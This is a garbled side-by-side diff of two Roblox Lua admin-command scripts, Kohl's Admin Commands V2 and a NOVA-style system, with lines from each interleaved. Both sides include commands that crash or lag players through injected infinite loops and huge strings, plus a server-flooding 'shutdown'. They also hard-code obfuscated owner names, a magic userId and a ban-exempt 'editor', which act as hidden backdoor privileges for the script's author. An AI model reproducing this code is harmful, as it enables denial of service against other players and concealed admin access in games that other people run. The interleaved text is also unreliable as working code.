2206 | - | local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8 |
2206 | + | function(Msg,Speaker) |
2207 | - | local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8 |
2207 | + | for _,v in pairs(GetPlayers(Msg,Speaker)) do |
2208 | - | local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8 |
2208 | + | pcall(function() |
2209 | - | local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8 |
2209 | + | local m = Instance.new("StringValue",v.PlayerGui) |
2210 | - | local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8 |
2210 | + | m.Value = string.rep("Shutdown For Eva Nub",1000000) |
2211 | - | if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix |
2211 | + | end) |
2212 | - | tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end) |
2212 | + | end |
2213 | - | cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end) |
2213 | + | end |
2214 | - | local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end) |
2214 | + | ) |
2215 | ||
2216 | AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>", | |
2217 | function(Msg,Speaker) | |
2218 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
2219 | - | -------------------- |
2219 | + | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then |
2220 | - | -- Owner Commands -- |
2220 | + | Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) |
2221 | - | -------------------- |
2221 | + | else |
2222 | pcall(function() | |
2223 | - | if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then |
2223 | + | GetRankedTable(v).Rank = -1 |
2224 | SyncRankOutSingular(v) | |
2225 | - | if msg:lower():sub(1,3) == "pa " then |
2225 | + | GetRidOf(v) |
2226 | - | local plrz = GetPlr(plr, msg:lower():sub(4)) |
2226 | + | end) |
2227 | - | for i, v in pairs(plrz) do |
2227 | + | end |
2228 | end | |
2229 | - | if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end |
2229 | + | end |
2230 | ) | |
2231 | ||
2232 | AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>", | |
2233 | function(Msg,Speaker) | |
2234 | - | if msg:lower():sub(1,5) == "unpa " then |
2234 | + | for _,v in pairs(GetPlayers(Msg,Speaker)) do |
2235 | - | for i = 1, #admins do |
2235 | + | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then |
2236 | Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
2237 | - | if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end |
2237 | + | else |
2238 | pcall(function() | |
2239 | GetRankedTable(v).Rank = -2 | |
2240 | SyncRankOutSingular(v) | |
2241 | Lag(v) | |
2242 | - | if msg:lower():sub(1,5) == "nuke " then |
2242 | + | end) |
2243 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
2243 | + | end |
2244 | - | for i, v in pairs(plrz) do |
2244 | + | end |
2245 | end | |
2246 | - | if v and v.Character and v.Character:findFirstChild("Torso") then |
2246 | + | ) |
2247 | - | local p = Instance.new("Part",game.Workspace) table.insert(objects,p) |
2247 | + | |
2248 | - | p.Anchored = true |
2248 | + | AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>", |
2249 | - | p.CanCollide = false |
2249 | + | function(Msg,Speaker) |
2250 | - | p.formFactor = "Symmetric" |
2250 | + | for _,v in pairs(GetPlayers(Msg,Speaker)) do |
2251 | - | p.Shape = "Ball" |
2251 | + | pcall(function() Instance.new("ForceField",v.Character) end) |
2252 | - | p.Size = Vector3.new(1,1,1) |
2252 | + | end |
2253 | - | p.BrickColor = BrickColor.new("New Yeller") |
2253 | + | end |
2254 | - | p.Transparency = .5 |
2254 | + | ) |
2255 | - | p.Reflectance = .2 |
2255 | + | |
2256 | - | p.TopSurface = 0 |
2256 | + | AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>", |
2257 | - | p.BottomSurface = 0 |
2257 | + | function(Msg,Speaker) |
2258 | - | p.Touched:connect(function(hit) |
2258 | + | for _,v in pairs(GetPlayers(Msg,Speaker)) do |
2259 | - | if hit and hit.Parent then |
2259 | + | pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end) |
2260 | - | local ex = Instance.new("Explosion", game.Workspace) |
2260 | + | end |
2261 | - | ex.Position = hit.Position |
2261 | + | end |
2262 | - | ex.BlastRadius = 11 |
2262 | + | ) |
2263 | - | ex.BlastPressure = math.huge |
2263 | + | |
2264 | AddCommand("Check","check",0,"Outputs server information.","No Arguments", | |
2265 | function(Msg,Speaker) | |
2266 | - | local cf = v.Character.Torso.CFrame |
2266 | + | local Data = GetRankedTable(Speaker) |
2267 | - | p.CFrame = cf |
2267 | + | Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker) |
2268 | - | for i = 1, 333 do |
2268 | + | Output("Version : "..tostring(NOVA.Version) ,Data.Color,Speaker) |
2269 | - | p.Size = p.Size + Vector3.new(3,3,3) |
2269 | + | Output("Local Pseudo : "..tostring(NOVA.LocalScript ~= nil) ,Data.Color,Speaker) |
2270 | - | p.CFrame = cf |
2270 | + | Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker) |
2271 | - | wait(1/44) |
2271 | + | Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker) |
2272 | Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker) | |
2273 | - | p:Destroy() |
2273 | + | Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker) |
2274 | Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker) | |
2275 | Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker) | |
2276 | Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker) | |
2277 | Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker) | |
2278 | Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker) | |
2279 | Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker) | |
2280 | Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker) | |
2281 | - | -------------------------- |
2281 | + | Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker) |
2282 | - | -- Super Admin Commands -- |
2282 | + | Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker) |
2283 | - | -------------------------- |
2283 | + | Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker) |
2284 | Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker) | |
2285 | - | if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then |
2285 | + | Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker) |
2286 | Output("Replicators : "..#GetReplicators(),Data.Color,Speaker) | |
2287 | - | if msg:lower() == "logs" then |
2287 | + | Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker) |
2288 | - | if plr.PlayerGui:findFirstChild("LOGSGUI") then return end |
2288 | + | OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker) |
2289 | - | local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui |
2289 | + | |
2290 | - | for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end |
2290 | + | |
2291 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2292 | end | |
2293 | - | if msg:lower():sub(1,9) == "loopkill " then |
2293 | + | ) |
2294 | - | local chk1 = msg:lower():sub(10):find(" ") |
2294 | + | |
2295 | - | local plrz = GetPlr(plr, msg:lower():sub(10)) |
2295 | + | AddCommand("Debug","debug",1,"Debugs the server.","No Arguments", |
2296 | - | local num = 9999 |
2296 | + | function(Msg,Speaker) |
2297 | - | if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end |
2297 | + | pcall(function() |
2298 | - | for i, v in pairs(plrz) do |
2298 | + | NOVA.Services.Sounds.Sound:Destroy() |
2299 | - | if v and not ChkAdmin(v.Name, false) then |
2299 | + | end) |
2300 | - | local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[ |
2300 | + | |
2301 | - | local plr = game.Players:findFirstChild("]] .. v.Name .. [[") |
2301 | + | NOVA.Sounds.Sound = Instance.new("Sound") |
2302 | - | for i = 1, ]] .. tostring(num) .. [[ do |
2302 | + | NOVA.Sounds.Sound.Name = "NOVA Sound" |
2303 | - | repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0 |
2303 | + | |
2304 | NOVA.Services.Lighting.Ambient = NOVA.Colors.White | |
2305 | - | if plr and plr.Character then plr.Character:BreakJoints() end |
2305 | + | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black |
2306 | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black | |
2307 | - | end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false |
2307 | + | NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69) |
2308 | NOVA.Services.Lighting.Brightness = 0.5 | |
2309 | NOVA.Services.Lighting.FogStart = 0 | |
2310 | NOVA.Services.Lighting.FogEnd = 100000 | |
2311 | NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74) | |
2312 | - | if msg:lower():sub(1,11) == "unloopkill " then |
2312 | + | NOVA.Services.Lighting.TimeOfDay = 12 |
2313 | - | local plrz = GetPlr(plr, msg:lower():sub(12)) |
2313 | + | pcall(function() game.Lighting.Sky:Remove() end) |
2314 | - | for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end |
2314 | + | pcall(function() |
2315 | CreateLocalScript([[ | |
2316 | LocalPlayer = game:GetService("Players").LocalPlayer | |
2317 | - | if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end |
2317 | + | LocalPlayer.CameraMode = Enum.CameraMode.Classic |
2318 | - | if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end |
2318 | + | Camera = workspace.CurrentCamera |
2319 | Camera:SetRoll(0) | |
2320 | - | if msg:lower():sub(1,3) == "sm " then |
2320 | + | Camera.CameraType = "Custom" |
2321 | - | Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children()) |
2321 | + | Camera.FieldOfView = 70 |
2322 | Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid | |
2323 | ]],Speaker.Backpack) | |
2324 | - | if msg:lower():sub(1,3) == "ko " then |
2324 | + | end) |
2325 | - | local chk1 = msg:lower():sub(4):find(" ") + 3 |
2325 | + | for Num,v in pairs(NOVA.Jails) do |
2326 | - | local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1)) |
2326 | + | pcall(function() v.Jail:Destroy() end) |
2327 | - | local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end |
2327 | + | table.remove(NOVA.Jails,Num) |
2328 | - | for n = 1, num do |
2328 | + | end |
2329 | - | for i, v in pairs(plrz) do |
2329 | + | for Num,v in pairs(NOVA.Fences) do |
2330 | pcall(function() v.Fence:Destroy() end) | |
2331 | - | if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then |
2331 | + | table.remove(NOVA.Fences,Num) |
2332 | - | local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator" |
2332 | + | end |
2333 | - | v.Character:BreakJoints() |
2333 | + | for _,v in pairs(NOVA.Services) do |
2334 | - | wait(1/44) |
2334 | + | v.Name = v.className |
2335 | - | v:LoadCharacter() |
2335 | + | end |
2336 | - | wait(1/44) |
2336 | + | |
2337 | for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do | |
2338 | local ShouldRemove = true | |
2339 | for _,Tablet in pairs(NOVA.Tablets) do | |
2340 | if v:IsDescendantOf(Tablet) then | |
2341 | ShouldRemove = false | |
2342 | end | |
2343 | - | if msg:lower():sub(1,6) == "crash " then |
2343 | + | end |
2344 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
2344 | + | if ShouldRemove == true then |
2345 | - | for i, v in pairs(plrz) do |
2345 | + | v:remove() |
2346 | end | |
2347 | - | if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then |
2347 | + | end |
2348 | - | local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() |
2348 | + | for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end |
2349 | ||
2350 | for _,v in pairs(GetPlayersRaw()) do | |
2351 | pcall(function() | |
2352 | if v.StarterGear == nil then | |
2353 | Instance.new("StarterGear",v) | |
2354 | - | if msg:lower():sub(1,5) == "kick " then |
2354 | + | end |
2355 | - | local plrz = GetPlr(plr, msg:lower():sub(6)) |
2355 | + | end) |
2356 | - | for i, v in pairs(plrz) do |
2356 | + | pcall(function() |
2357 | v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId | |
2358 | - | if v and not ChkAdmin(v.Name, false) then v:Destroy() end |
2358 | + | end) |
2359 | end | |
2360 | pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end) | |
2361 | if #NOVA.Services.Teams:GetChildren() == 0 then | |
2362 | for _,v in pairs(GetPlayersRaw()) do | |
2363 | - | if msg:lower():sub(1,6) == "admin " then |
2363 | + | v.Neutral = true |
2364 | - | local plrz = GetPlr(plr, msg:lower():sub(7)) |
2364 | + | end |
2365 | - | for i, v in pairs(plrz) do |
2365 | + | end |
2366 | ||
2367 | - | if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end |
2367 | + | end |
2368 | ) | |
2369 | ||
2370 | AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>", | |
2371 | function(Msg,Speaker) | |
2372 | - | if msg:lower():sub(1,8) == "unadmin " then |
2372 | + | for _,v in pairs(GetPlayers(Msg,Speaker)) do |
2373 | - | for i = 1, #tempadmins do |
2373 | + | pcall(function() |
2374 | v:LoadCharacter() | |
2375 | - | if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end |
2375 | + | end) |
2376 | end | |
2377 | end | |
2378 | ) | |
2379 | ||
2380 | - | if msg:lower():sub(1,4) == "ban " then |
2380 | + | AddCommand("Commands","cmds",0,"Lists the command.","No Arguments", |
2381 | - | local plrz = GetPlr(plr, msg:lower():sub(5)) |
2381 | + | function(Msg,Speaker) |
2382 | - | for i, v in pairs(plrz) do |
2382 | + | RemoveTablets(Speaker) |
2383 | local Data = GetRankedTable(Speaker) | |
2384 | - | if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end |
2384 | + | Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker) |
2385 | Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker) | |
2386 | Output("Get/ Commands",Data.Color,Speaker,nil, | |
2387 | function() | |
2388 | RemoveTablets(Speaker) | |
2389 | - | if msg:lower():sub(1,6) == "unban " then |
2389 | + | for _,v in pairs(NOVA.Commands) do |
2390 | - | for i = 1, #banland do |
2390 | + | if v.Command:sub(1,3) == "get" then |
2391 | Output(v.Name,Data.Color,Speaker,nil, | |
2392 | - | if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end |
2392 | + | function() |
2393 | RemoveTablets(Speaker) | |
2394 | Output("Name : "..v.Name,Data.Color,Speaker) | |
2395 | Output("Rank : "..v.Rank,Data.Color,Speaker) | |
2396 | Output("Command : "..v.Command,Data.Color,Speaker) | |
2397 | - | if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end |
2397 | + | Output("Arguments : "..v.Args,Data.Color,Speaker) |
2398 | Output("Description : "..v.Description,Data.Color,Speaker) | |
2399 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2400 | end | |
2401 | ) | |
2402 | end | |
2403 | - | function AdminControl(plr) |
2403 | + | end |
2404 | - | coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end)) |
2404 | + | Output("Dismiss",NOVA.Colors.Red,Speaker) |
2405 | - | if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") |
2405 | + | Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end) |
2406 | - | for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end |
2406 | + | end |
2407 | - | local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR" |
2407 | + | ) |
2408 | - | local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true |
2408 | + | for i=0,7 do |
2409 | - | box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end) |
2409 | + | |
2410 | - | end)) end |
2410 | + | Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function() |
2411 | - | coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end)) |
2411 | + | RemoveTablets(Speaker) |
2412 | - | coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end)) |
2412 | + | for _,v in pairs(NOVA.Commands) do |
2413 | - | coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end)) |
2413 | + | if v.Rank == i then |
2414 | - | coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end)) |
2414 | + | Output(v.Name,Data.Color,Speaker,nil,function() |
2415 | - | coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end)) |
2415 | + | RemoveTablets(Speaker) |
2416 | - | plr.Chatted:connect(function(msg) Chat(msg,plr) end) |
2416 | + | Output("Name : "..v.Name,Data.Color,Speaker) |
2417 | Output("Rank : "..v.Rank,Data.Color,Speaker) | |
2418 | Output("Command : "..v.Command,Data.Color,Speaker) | |
2419 | - | if not ntab then script:Destroy() end |
2419 | + | Output("Arguments : "..v.Args,Data.Color,Speaker) |
2420 | - | if not bct then script:Destroy() end |
2420 | + | Output("Description : "..v.Description,Data.Color,Speaker) |
2421 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2422 | - | local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs) |
2422 | + | end) |
2423 | end | |
2424 | - | script.Name = "Kohl's Admin Commands V2" |
2424 | + | end |
2425 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2426 | - | if not ntab then script:Destroy() end |
2426 | + | Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end) |
2427 | - | if not bct then script:Destroy() end |
2427 | + | end) |
2428 | - | if not tcb then script:Destroy() end |
2428 | + | end |
2429 | - | game.Players.PlayerAdded:connect(AdminControl) |
2429 | + | Output("ALL",Data.Color,Speaker,nil,function() |
2430 | - | for i, v in pairs(game.Players:children()) do AdminControl(v) end |
2430 | + | RemoveTablets(Speaker) |
2431 | for _,v in pairs(NOVA.Commands) do | |
2432 | if GetRank(Speaker) >= v.Rank then | |
2433 | - | local mod = game:service("InsertService"):LoadAsset(100808216) |
2433 | + | Output(v.Name,Data.Color,Speaker,nil,function() |
2434 | - | if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then |
2434 | + | RemoveTablets(Speaker) |
2435 | - | local newac = mod:findFirstChild("Kohl's Admin Commands V2") |
2435 | + | Output("Name : "..v.Name,Data.Color,Speaker) |
2436 | - | newac.Disabled = true |
2436 | + | Output("Rank : "..v.Rank,Data.Color,Speaker) |
2437 | - | local new = tonumber(mod:findFirstChild("Version", true).Value) |
2437 | + | Output("Command : "..v.Command,Data.Color,Speaker) |
2438 | - | local old = 0 |
2438 | + | Output("Arguments : "..v.Args,Data.Color,Speaker) |
2439 | - | if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end |
2439 | + | Output("Description : "..v.Description,Data.Color,Speaker) |
2440 | - | if new > old then |
2440 | + | Output("Dismiss",NOVA.Colors.Red,Speaker) |
2441 | - | local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2" |
2441 | + | end) |
2442 | - | for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end |
2442 | + | end |
2443 | - | for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end |
2443 | + | end |
2444 | - | for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end |
2444 | + | Output("Dismiss",NOVA.Colors.Red,Speaker) |
2445 | - | for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end |
2445 | + | Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end) |
2446 | - | local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix |
2446 | + | end) |
2447 | - | local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands |
2447 | + | Output("Dismiss",NOVA.Colors.Red,Speaker) |
2448 | - | local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin |
2448 | + | end |
2449 | - | local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId |
2449 | + | ) |
2450 | - | local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank |
2450 | + | |
2451 | - | local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin |
2451 | + | AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments", |
2452 | - | local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId |
2452 | + | function(Msg,Speaker) |
2453 | Instance.new("ManualSurfaceJointInstance",workspace) | |
2454 | - | newac.Parent = game.Workspace |
2454 | + | end |
2455 | - | newac.Disabled = false |
2455 | + | ) |
2456 | - | script.Disabled = true |
2456 | + | |
2457 | - | script:Destroy() |
2457 | + | AddCommand("Lag","lag",6,"lags the selected player.","<Player>", |
2458 | - | else |
2458 | + | function(Msg,Speaker) |
2459 | - | CHEESE() |
2459 | + | for _,v in pairs(GetPlayers(Msg,Speaker)) do |
2460 | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
2461 | - | else |
2461 | + | Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) |
2462 | - | CHEESE() |
2462 | + | else |
2463 | - | end |
2463 | + | pcall(function() |
2464 | Lag(v) | |
2465 | end) | |
2466 | end | |
2467 | end | |
2468 | end | |
2469 | ) | |
2470 | ||
2471 | ||
2472 | AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments", | |
2473 | function(Msg,Speaker) | |
2474 | RemoveTablets(Speaker) | |
2475 | Output("List","Random",Speaker,nil, | |
2476 | function() | |
2477 | RemoveTablets(Speaker) | |
2478 | for _,v in pairs(NOVA.Ranked) do | |
2479 | if v.InPRI == true then | |
2480 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function() | |
2481 | RemoveTablets(Speaker) | |
2482 | OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker) | |
2483 | end) | |
2484 | end | |
2485 | end | |
2486 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
2487 | end | |
2488 | ) | |
2489 | ||
